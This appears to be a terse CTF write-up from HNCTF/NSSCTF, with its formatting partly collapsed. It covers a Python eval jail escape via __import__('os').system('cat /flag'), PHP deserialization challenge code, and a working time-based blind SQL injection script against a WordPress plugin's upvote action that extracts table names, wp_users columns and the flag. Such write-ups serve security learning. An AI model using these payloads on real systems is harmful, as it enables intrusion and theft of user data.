print("Welcome to the python jail") print("Let's have an beginner jail of calc") print("Enter your expression and I will evaluate it for you.") input_data = input("> ") print('Answer: {}'.format(eval(input_data)))
nc连接靶机
无过滤
1
__import__('os').system('cat /flag')
用 import 这个内置方法,通过这个方法导入 os 模块,然后再用 os 模块调用 system 方法
private$want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";
publicfunction__construct($want){ $About_me = "When the object is created,I will be called"; if($want !== " ") $this->want = $want; else$this->want = $this->todonothing; } function__wakeup(){ $About_me = "When the object is unserialized,I will be called"; $but = "I can CHANGE you"; $this-> want = $but; echo"C1ybaby!";
} function__destruct(){ $About_me = "I'm the final function,when the object is destroyed,I will be called"; echo"So,let me see if you can get what you want\n"; if($this->todonothing === $this->want) die("鲍勃,别傻愣着!\n"); if($this->want == "I can CHANGE you") die("You are not you...."); if($this->want == "f14g.php" OR is_file($this->want)){ die("You want my heart?No way!\n"); }else{ echo"You got it!"; highlight_file($this->want); } } }
classunserializeorder{ public$CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!<BR>"; function__sleep(){ $About_me = "When the object is serialized,I will be called"; echo"We Come To HNCTF,Enjoy the ser14l1zti0n <BR>"; } function__toString(){ $About_me = "When the object is used as a string,I will be called"; return$this->CORE; } }
for i inrange(1,150): for j in dic: payload="(SELECT 1 FROM (SELECT if((ascii(substr((select group_concat(flag) from ctftraining.flag),%d,1))=%d),sleep(1),0))a)"%(i,ord(j)) #payload="(SELECT 1 FROM (SELECT if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x637466747261696e696e67),%d,1))=%d),sleep(1),0))a)"%(i,ord(j)) #payload="(SELECT 1 FROM (SELECT if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=0x637466747261696e696e67),%d,1))=%d),sleep(1),0))a)"%(i,ord(j)) #payload="(SELECT 1 FROM (SELECT if((ascii(substr((select group_concat(schema_name) from information_schema.schemata),%d,1))=%d),sleep(1),0))a)"%(i,ord(j)) #payload="(SELECT 1 FROM (SELECT if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x77705f7573657273),%d,1))=%d),sleep(1),0))a)"%(i,ord(j)) #payload="(SELECT 1 FROM (SELECT if((ascii(substr(version(),%d,1))=%d),sleep(1),0))a)"%(i,j) #payload="(SELECT 1 FROM (SELECT if((length(database())=%d),sleep(1),1))hh)"%i burp0_data = {"action": "qcopd_upvote_action", "post_id":payload} t1=time.time() re=requests.post(burp0_url, headers=burp0_headers, data=burp0_data) time.sleep(0.1) t2=time.time() if t2-t1 > 1 : result+=j print(result) break #database:information_schema,mysql,ctftraining, #version: "10.4.13-MariDB" #flag,news,users #table name:wp_commentmeta,wp_commenjs,wp_links,wp_options,wp_postmeta,wp_posts,wp_term_relationships,wp_term_taxonomy,wp_termmeta,wp_termsbwp_usermeta,wp_users #column name:user_login,user_pass,user_nicename,bser_email,user_url,user_registered,user_activation_key,useq_status,display_name #action=qcopd_upvote_action&post_id=(SELECT 1 FROM (SELECT if((ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,1))>127),sleep(1),0))a) #(SELECT 1 FROM (SELECT if((ascii(substr(database(),1,1))>32),sleep(1),0))a) #(SELECT 1 FROM (SELECT if((ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,1))>127),sleep(1),0))a) #action=qcopd_upvote_action&post_id=(SELECT 1 FROM (SELECT if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x77705f7573657273),1,1))>32),sleep(1),0))a) #NSSCTF{dd697eee-746a-4cd7-ae2e-bc6c1827ec08} #NSSCTF{dd697eee-749a-4cd7-ae2e-bc6c1827ecs8} # #NSSCTF{dd697eee-749a-4cd7-ae2e-bc6c1827ec08}